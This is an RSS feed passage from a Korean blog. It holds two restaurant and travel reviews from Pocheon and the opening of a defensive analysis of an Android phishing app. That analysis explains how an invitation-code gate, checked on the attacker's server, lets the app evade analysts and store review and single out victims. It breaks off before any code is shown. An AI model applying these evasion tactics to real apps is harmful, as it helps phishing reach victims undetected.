data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0W42V/btsKK0VX6da/GTpWsOURiUVaKMjyCLSJRk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0W42V%2FbtsKK0VX6da%2FGTpWsOURiUVaKMjyCLSJRk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;술을 좋아하고 포천에 방문한다면 한번쯤 들러도 괜찮은 장소다.&lt;/p&gt;</description>
      <category>Travel/1박2일</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/282</guid>
      <comments>https://gomguk.tistory.com/282#entry282comment</comments>
      <pubDate>Thu, 21 Nov 2024 19:36:16 +0900</pubDate>
    </item>
    <item>
      <title>[경기 포천] 초가집 순두부 보리밥</title>
      <link>https://gomguk.tistory.com/280</link>
      <description>&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;포천에서 보리밥 정식으로 검색하면 많은 음식점이 나온다. 그 중에서도 여행 중에 선택했던 &quot;초가집 순두부 보리밥&quot;을 소개한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;원래 포천에는 이동갈비나 한정식이 유명하다. 이동갈비 골목까지 가기에는 거리가 아직 많이 남았기도 하고, 포천에는 도착했는데 맛있는 밥집을 찾던 중 방문한 곳이다. 호불호없이 먹을 수 있고 부담되지 않는 식사를 할 수 있었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;초가집순두부보리밥&lt;br /&gt;&lt;br /&gt;주소: 경기도 포천시 화현면 화동로 407&lt;br /&gt;영업시간: 매일 06:00 ~ 21:00 연중무휴&lt;br /&gt;주차: 가게 앞 공터이용&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;블로그나 지도에 검색하면 예전 초가집 가게도 나오는데, 리모델링을 했는지 지금은 깔끔하게 변신했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-11-15 오전 11.25.15.png&quot; data-origin-width=&quot;1052&quot; data-origin-height=&quot;1220&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpFyRl/btsKI53UwNR/hs5ZV6Ijkw2jsRssKD0nYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpFyRl/btsKI53UwNR/hs5ZV6Ijkw2jsRssKD0nYK/img.png&quot; data-alt=&quot;가게 정면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpFyRl/btsKI53UwNR/hs5ZV6Ijkw2jsRssKD0nYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpFyRl%2FbtsKI53UwNR%2Fhs5ZV6Ijkw2jsRssKD0nYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;508&quot; height=&quot;589&quot; data-filename=&quot;스크린샷 2024-11-15 오전 11.25.15.png&quot; data-origin-width=&quot;1052&quot; data-origin-height=&quot;1220&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;가게 정면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;edited_031AB7D8-CB12-4DB1-9D3A-51B7BF051B50_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbdJye/btsKJmj52Oq/QKLgiiGOsiz479i3zsVIxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbdJye/btsKJmj52Oq/QKLgiiGOsiz479i3zsVIxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbdJye/btsKJmj52Oq/QKLgiiGOsiz479i3zsVIxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbdJye%2FbtsKJmj52Oq%2FQKLgiiGOsiz479i3zsVIxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;496&quot; height=&quot;372&quot; data-filename=&quot;edited_031AB7D8-CB12-4DB1-9D3A-51B7BF051B50_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;여행지에서의 첫 번째 식사는 그 지역의 첫인상을 결정한다. 들어가자마자 한쪽 벽에는 많은 유명인들이 방문했는지 사인도 많이 있었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFEbow/btsKKhbbajJ/PpwkttinXUbYE4LCjBNCU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFEbow/btsKKhbbajJ/PpwkttinXUbYE4LCjBNCU0/img.png&quot; style=&quot;width: 46.3428%; margin-right: 10px;&quot; data-widthpercent=&quot;46.89&quot; data-filename=&quot;edited_AEB2BB70-8624-490E-81DE-CA19E3D2B370_1_105_c.jpeg&quot; data-origin-height=&quot;1024&quot; data-origin-width=&quot;678&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFEbow/btsKKhbbajJ/PpwkttinXUbYE4LCjBNCU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFEbow%2FbtsKKhbbajJ%2FPpwkttinXUbYE4LCjBNCU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;678&quot; height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/I6i2I/btsKKQ5gnOz/YHi6UVRoVDfN5alMSVwW8k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/I6i2I/btsKKQ5gnOz/YHi6UVRoVDfN5alMSVwW8k/img.jpg&quot; style=&quot;width: 52.4945%;&quot; data-widthpercent=&quot;53.11&quot; data-filename=&quot;8E29A146-EA27-4BD2-9D1D-4AD4B6ADA2AC_1_105_c.jpeg&quot; data-origin-height=&quot;1024&quot; data-origin-width=&quot;768&quot; data-is-animation=&quot;false&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/I6i2I/btsKKQ5gnOz/YHi6UVRoVDfN5alMSVwW8k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FI6i2I%2FbtsKKQ5gnOz%2FYHi6UVRoVDfN5alMSVwW8k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이른 점심시간이었지만 많은 사람들이 식사중이었다. 자리에 앉아서 메뉴를 골라본다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;90268941-A329-4E6F-857B-5739BA6314D4_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tJHVU/btsKJH2yAw8/9Uc2kRNR30vaC89degUT2k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tJHVU/btsKJH2yAw8/9Uc2kRNR30vaC89degUT2k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tJHVU/btsKJH2yAw8/9Uc2kRNR30vaC89degUT2k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtJHVU%2FbtsKJH2yAw8%2F9Uc2kRNR30vaC89degUT2k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;688&quot; height=&quot;516&quot; data-filename=&quot;90268941-A329-4E6F-857B-5739BA6314D4_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;네 명이 방문해서 보쌈보리밥 2인분과 쭈꾸미 보리밥 2인분으로 정했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;보리밥 메뉴를 주문하면, 함께 비벼먹을 수 있는 나물과 순두부가 상차림으로 나온다. 인원수에 맞게 주문해도 부족하지 않게 먹을 수 있고, 셀프바가 있어 부족한 반찬은 더 담아 먹을 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8906B503-F03C-4661-90CD-17E6B537C7CD_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/neIA6/btsKKN1Mks1/w4FJfTpwAAHNfI1Qygulz1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/neIA6/btsKKN1Mks1/w4FJfTpwAAHNfI1Qygulz1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/neIA6/btsKKN1Mks1/w4FJfTpwAAHNfI1Qygulz1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FneIA6%2FbtsKKN1Mks1%2Fw4FJfTpwAAHNfI1Qygulz1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;768&quot; data-filename=&quot;8906B503-F03C-4661-90CD-17E6B537C7CD_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;0C8B9537-4F1A-45BA-A3D6-00ED3970BA17_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nItP9/btsKI3ZiOXJ/SPnQPTB1ns1bVlQt1AyK7k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nItP9/btsKI3ZiOXJ/SPnQPTB1ns1bVlQt1AyK7k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nItP9/btsKI3ZiOXJ/SPnQPTB1ns1bVlQt1AyK7k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnItP9%2FbtsKI3ZiOXJ%2FSPnQPTB1ns1bVlQt1AyK7k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;768&quot; data-filename=&quot;0C8B9537-4F1A-45BA-A3D6-00ED3970BA17_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;음식은 정갈하게 나온다. 누구와 함께 와도 잘 어울리는 음식이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;맛도 자극적이지 않고 잘 어울린다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;96A6139F-CCA7-4A7A-8B39-44CA2E836FF5_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXFamo/btsKKp7ZG8M/aQ0glkfgXkY0FGcTGuKA8k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXFamo/btsKKp7ZG8M/aQ0glkfgXkY0FGcTGuKA8k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXFamo/btsKKp7ZG8M/aQ0glkfgXkY0FGcTGuKA8k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXFamo%2FbtsKKp7ZG8M%2FaQ0glkfgXkY0FGcTGuKA8k%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1024&quot; height=&quot;768&quot; data-filename=&quot;96A6139F-CCA7-4A7A-8B39-44CA2E836FF5_1_105_c.jpeg&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;768&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;매우 만족한 식사였다.&lt;/p&gt;</description>
      <category>Travel/1박2일</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/280</guid>
      <comments>https://gomguk.tistory.com/280#entry280comment</comments>
      <pubDate>Wed, 20 Nov 2024 00:14:01 +0900</pubDate>
    </item>
    <item>
      <title>[악성앱 분석 보고서] 안드로이드 피싱앱 행위 분석 (초대코드 입력앱)</title>
      <link>https://gomguk.tistory.com/279</link>
      <description>&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;디지털 환경이 발전할수록, 악성 앱과 피싱 앱은 그 기법을 점차 고도화하며 사용자들을 노리고 있 다. 특히 스마트폰 사용이 일상화된 지금, 안드로이드 기기를 표적으로 한 악성 앱들이 빠르게 증가하고 있다. 이 포스팅에서는 이러한 악성 앱들이 어떻게 작동하며, 어떤 방식으로 사용자에게 위협을 가하는지 실제 사례와 함께 분석한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 글을 통해 일상에서 자주 접할 수 있는 악성 앱의 흔적을 알아차리는 방법과, 안전하게 모바일 기기를 사용하는 팁을 제공하여 사용자의 정보 보안 의식을 높이는 데 도움을 주고자 한다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;DISCLAIMER&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;이 분석은 특정 시점에서 관찰된 악성 행위에 대해 서술하고 있으며, 해당 앱의 전체 기능이나 미래에 발생할 수 있는 모든 변동 사항을 다루지 않습니다. 따라서 이후에 앱이 업데이트되어 새로운 악성 행위가 추가되거나, 다른 유사한 앱에서 유사한 악성 행위가 발견될 수 있습니다. 이 포스팅은 참고 자료로서 제공되는 것이며, 특정 앱의 악성 여부를 완전히 보증하거나 모든 가능성을 포괄하지 않음을 알려드립니다.&lt;/blockquote&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 초대 코드 입력 피싱앱&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;악성 앱에서 '초대 코드' 입력을 요구하는 이유는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;탐지를 피하고 특정 사용자에게만 기능을 제공하기 위해&lt;/b&gt;서이다. 분석가나 자동화된 분석 도구를 회피하고 앱 마켓의 검열을 피하고자 하는 목적도 있다. 또한, 정상 사용자와 공격 대상을 구분하여 초대 코드를 타겟으로 한 사용자에게만 부여하여 악성 기능을 활성화하게 하는 필터 역할을 한다. 모든 사용자에 대해 모든 악성 기능을 노출하는 대신, 코드 입력을 통해 선별된 사용자만 공격 대상으로 삼을 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사회 공학적인 기법을 사용하여 초대 코드를 사용하면, 피해자에게 신뢰를 형성하거나 &quot;초대된 사람&quot;만 사용할 수 있다는 식으로 접근하여 심리적으로 방심하게 만들 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;필자는 피싱앱의 사용자도, 피해자도 아닌 분석가이기 때문에 앱 분석의 입장에서 악성행위를 어떻게 수행하는지 분석한다. 초대 코드가 없으면 악성 기능이 활성화되지 않기 때문에, 분석 중에 해당 기능이 드러나지 않아 앱이 정상적이라고 오인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;분석 대상 앱은 Bunny 앱이다. 분석을 수행한 앱중 가장 쉽게 초대 코드를 우회할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1369&quot; data-origin-height=&quot;265&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HFBJA/btsKKzbpFFF/WrBjOF3h1pWUAWOhWXSzk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HFBJA/btsKKzbpFFF/WrBjOF3h1pWUAWOhWXSzk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HFBJA/btsKKzbpFFF/WrBjOF3h1pWUAWOhWXSzk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHFBJA%2FbtsKKzbpFFF%2FWrBjOF3h1pWUAWOhWXSzk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;601&quot; height=&quot;116&quot; data-origin-width=&quot;1369&quot; data-origin-height=&quot;265&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;456&quot; data-origin-height=&quot;947&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LHSqi/btsKJDZ7bYj/uUtQkhcIHyn1QMaz54I7Dk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LHSqi/btsKJDZ7bYj/uUtQkhcIHyn1QMaz54I7Dk/img.png&quot; data-alt=&quot;앱 실행화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LHSqi/btsKJDZ7bYj/uUtQkhcIHyn1QMaz54I7Dk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLHSqi%2FbtsKJDZ7bYj%2FuUtQkhcIHyn1QMaz54I7Dk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;292&quot; height=&quot;606&quot; data-origin-width=&quot;456&quot; data-origin-height=&quot;947&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;앱 실행화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앱을 처음 실행하면 초대코드를 입력하는 란과 허용된 사용자만 입장가능한 것처럼 꾸며놓은 버튼이 있다. 실시간으로 공격자에게 초대코드를 받지 않으면, 입장할 수 없는 구조이다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;661&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/etASfK/btsKIAXp0Mx/CfA1Cdzk5nogCW3AJCHiQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/etASfK/btsKIAXp0Mx/CfA1Cdzk5nogCW3AJCHiQk/img.png&quot; data-alt=&quot;임의 초대코드 입력후 응답 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/etASfK/btsKIAXp0Mx/CfA1Cdzk5nogCW3AJCHiQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FetASfK%2FbtsKIAXp0Mx%2FCfA1Cdzk5nogCW3AJCHiQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1261&quot; height=&quot;661&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1261&quot; data-origin-height=&quot;661&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;임의 초대코드 입력후 응답 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;임의로 초대코드를 입력하고 프록시 도구를 이용하여 응답을 확인하면, 실제로 공격자의 서버로 초대코드가 전송되며 서버에서 검증하고 있는 것을 확인할 수 있다. 초대코드의 정합성 여부를 서버에서 검증하고, HTTP 응답을 받아 앱이 다음 동작을 정의하는 구조일 것으로 예상할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그러면 앱 코드를 분석한다. 어렵지 않게 메인 액티비티에서 구현된 코드를 확인할 수 있었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
